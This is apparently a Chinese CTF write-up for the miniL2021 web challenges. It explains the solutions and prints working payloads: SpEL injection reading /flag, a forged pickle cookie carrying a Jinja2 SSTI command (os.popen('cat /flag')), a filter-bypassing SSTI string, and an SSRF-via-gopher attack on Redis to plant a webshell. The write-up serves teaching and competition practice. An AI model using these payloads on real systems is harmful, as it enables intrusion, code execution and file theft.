0%

miniL2021

Web 部分

miniljava

不会 Java,就硬试

MainController.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package com.controller;

import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

import javax.servlet.http.HttpServletRequest;
import java.net.MalformedURLException;

@RestController
public class MainController {
ExpressionParser parser = new SpelExpressionParser();

@RequestMapping("/")
public String main(HttpServletRequest request,@RequestParam(required = false) String code,@RequestParam(required = false) String url) throws MalformedURLException {
String requestURI = request.getRequestURI();
if(requestURI.equals("/")){
return "nonono";
}
else{
if (code!=null) {
String s = parser.parseExpression(code).getValue().toString();
return s;
} else {
return "so?";
}
}
}
}

瞎猜代码,测试一下发现过了

1
2
3
4
5
http://f9a8dc09-3cd8-415b-a3fd-b0784360f69b.web.woooo.tech//
==>>so?

加上POST数据 code=123123
==>>123123

然后应该是SpEL注入

payload:

1
2
3
POST
code=T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/flag'), T(java.nio.charset.Charset).defaultCharset())
==>>[miniL{b11a5b8c-07cd-42ce-b609-703c2217e614}]

https://landgrey.me/blog/15/ 这里顺的

L Inc.

  • Cookie
  • pickle 反序列化
  • SSTI

提交cc得cookie如下

1
2
3
4
5
6
7
import pickletools
import base64

cookie = b'gASVKwAAAAAAAACMA2FwcJSMBFVzZXKUk5QpgZR9lCiMBG5hbWWUjAJjY5SMA3ZpcJSJdWIu'
b = base64.b64decode(cookie)
#print(b)
pickletools.dis(b)

pickle.load() 不能成功(没有app模块中的User类),用 pickletools 查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
		0: \\x80 PROTO      4
2: \\x95 FRAME 43
11: \\x8c SHORT_BINUNICODE 'app'
16: \\x94 MEMOIZE (as 0)
17: \\x8c SHORT_BINUNICODE 'User'
23: \\x94 MEMOIZE (as 1)
24: \\x93 STACK_GLOBAL
25: \\x94 MEMOIZE (as 2)
26: ) EMPTY_TUPLE
27: \\x81 NEWOBJ
28: \\x94 MEMOIZE (as 3)
29: } EMPTY_DICT
30: \\x94 MEMOIZE (as 4)
31: ( MARK
32: \\x8c SHORT_BINUNICODE 'name'
38: \\x94 MEMOIZE (as 5)
39: \\x8c SHORT_BINUNICODE 'cc'
43: \\x94 MEMOIZE (as 6)
44: \\x8c SHORT_BINUNICODE 'vip'
49: \\x94 MEMOIZE (as 7)
50: \\x89 NEWFALSE
51: u SETITEMS (MARK at 31)
52: b BUILD
53: . STOP
highest protocol among opcodes = 4

第 50 行 \x89 对应 NEWFLASE,改为 \x88 得 NEWTRUE 获取 vip 身份

1
2
3
>>> import base64
>>> base64.b64encode(b'\\x80\\x04\\x95+\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8c\\x03app\\x94\\x8c\\x04User\\x94\\x93\\x94)\\x81\\x94}\\x94(\\x8c\\x04name\\x94\\x8c\\x02cc\\x94\\x8c\\x03vip\\x94\\x88ub.')
b'gASVKwAAAAAAAACMA2FwcJSMBFVzZXKUk5QpgZR9lCiMBG5hbWWUjAJjY5SMA3ZpcJSIdWIu'

得到伪造成功后的 cookie 值 gASVKwAAAAAAAACMA2FwcJSMBFVzZXKUk5QpgZR9lCiMBG5hbWWUjAJjY5SMA3ZpcJSIdWIu

根据回显,可以猜测由此 RCE,下面是构造:

app.py

1
2
3
4
class User(object):
def __init__(self, name, vip):
self.name = name
self.vip = vip

poc.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import pickle,pickletools
import base64 as b64
import app

c = b'gASVKwAAAAAAAACMA2FwcJSMBFVzZXKUk5QpgZR9lCiMBG5hbWWUjAJjY5SMA3ZpcJSIdWIu'

b = b64.b64decode(c)

res = pickle.loads(b)
b = pickle.dumps(res,protocol=0)

print(b)
pickletools.dis(b)

print(res.name)

跑一下poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
b'ccopy_reg\\n_reconstructor\\np0\\n(capp\\nUser\\np1\\nc__builtin__\\nobject\\np2\\nNtp3\\nRp4\\n(dp5\\nVname\\np6\\nVcc\\np7\\nsVvip\\np8\\nI01\\nsb.'
0: c GLOBAL 'copy_reg _reconstructor'
25: p PUT 0
28: ( MARK
29: c GLOBAL 'app User'
39: p PUT 1
42: c GLOBAL '__builtin__ object'
62: p PUT 2
65: N NONE
66: t TUPLE (MARK at 28)
67: p PUT 3
70: R REDUCE
71: p PUT 4
74: ( MARK
75: d DICT (MARK at 74)
76: p PUT 5
79: V UNICODE 'name'
85: p PUT 6
88: V UNICODE 'cc'
92: p PUT 7
95: s SETITEM
96: V UNICODE 'vip'
101: p PUT 8
104: I INT True
108: s SETITEM
109: b BUILD
110: . STOP
highest protocol among opcodes = 0
cc

……后来发现是模板注入

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import pickle, pickletools
import base64
import requests
from app import *

tar = User(name="{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}",vip=True)

poc = pickle.dumps(tar, protocol=3)
# print(poc)
# pickletools.dis(poc)

c = base64.b64encode(poc).decode()
print(c)
response = requests.get("http://fa404bff-6900-439f-b32d-4809582a673d.web.woooo.tech/home",cookies=dict(user=c),timeout=10)
print(response.text)

结果如下,

text
1
2
3
4
5
6
7
8
9
10
11
12
13
gANjYXBwClVzZXIKcQApgXEBfXECKFgEAAAAbmFtZXEDWEkAAAB7e2NvbmZpZy5fX2NsYXNzX18uX19pbml0X18uX19nbG9iYWxzX19bJ29zJ10ucG9wZW4oJ2NhdCAvZmxhZycpLnJlYWQoKX19cQRYAwAAAHZpcHEFiHViLg==
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>VIP - L Inc.</title>
</head>
<body>
<h1>Hello, dear miniL{c869aacc-abb1-4e85-a74e-1e511196d17d}
</h1>
<p>You are our VIP customer, there will be a specially-assigned person to serve you later.</p>
</body>
</html>

Template

有一段混淆的 js,前端过滤 {|}|% , 后端过滤 . (还有啥忘了

只能说控制台 nb (今年 DEFCON Quals 那道 Web 也有用 Console 破混淆的大神)

3FACTOOORX Write-up

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function abc(v1, v2) {
var len1 = v1.length;
var len2 = v2.length;
var result = [];
for (var i = 0x0; i < len2; i++) {
result[i] = String.fromCharCode(v1[i % len1].charCodeAt(0) ^ v2[i].charCodeAt(0));
}
return result.join('');
};

function submit() {
var code = document.getElementById("code").value;
if (code.search('{|}|%') != -1) {
alert("hack!!!!!");
} else {
var data = abc("xdsecminil", code);
var xhr = new XMLHttpRequest();
xhr.open("POST", "/build", true);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send("data=" + btoa(data));
xhr.onreadystatechange = function() {
if (xhr.status === 200) {
document.getElementById("result").innerText = xhr.responseText;
} else {
alert("request error");
}
};
};
}

纯 jinja2 不能调 flask 的变量

过滤了 . flag +

1
{{cycler["reset"]["__globals__"]["__builtins__"]["open"](""["join"](["/fla","g"]))["read"]()}}

protocol

  • SSRF gopher 打 Redis

走非预期了,没有拿源码依然打到内网了。。。

利用 url 报错 400 (空格,试 /fuzz|sleep 114514 的时候撞出来的。。。)

可以拿到内网真实网段(Apache Bad Request 回显)

1
url=0.0.0.0/fuzz fuzz

以 172.192.112.2 为例,这是报错得到的内网地址,

D 段 +1 一下就试出来了回显。。

访问 url=172.192.112.3,

1
flag就在这台机子上面,可是你怎么获得呢?1

172.192.112.3:6379

redis 🉑

redis 直接写 webshell

https://github.com/LS95/gopher-redis-auth

懒得更图了,可以去官方仓库学习一波😆

https://github.com/XDSEC/Mini-L-CTF-2021

Misc 部分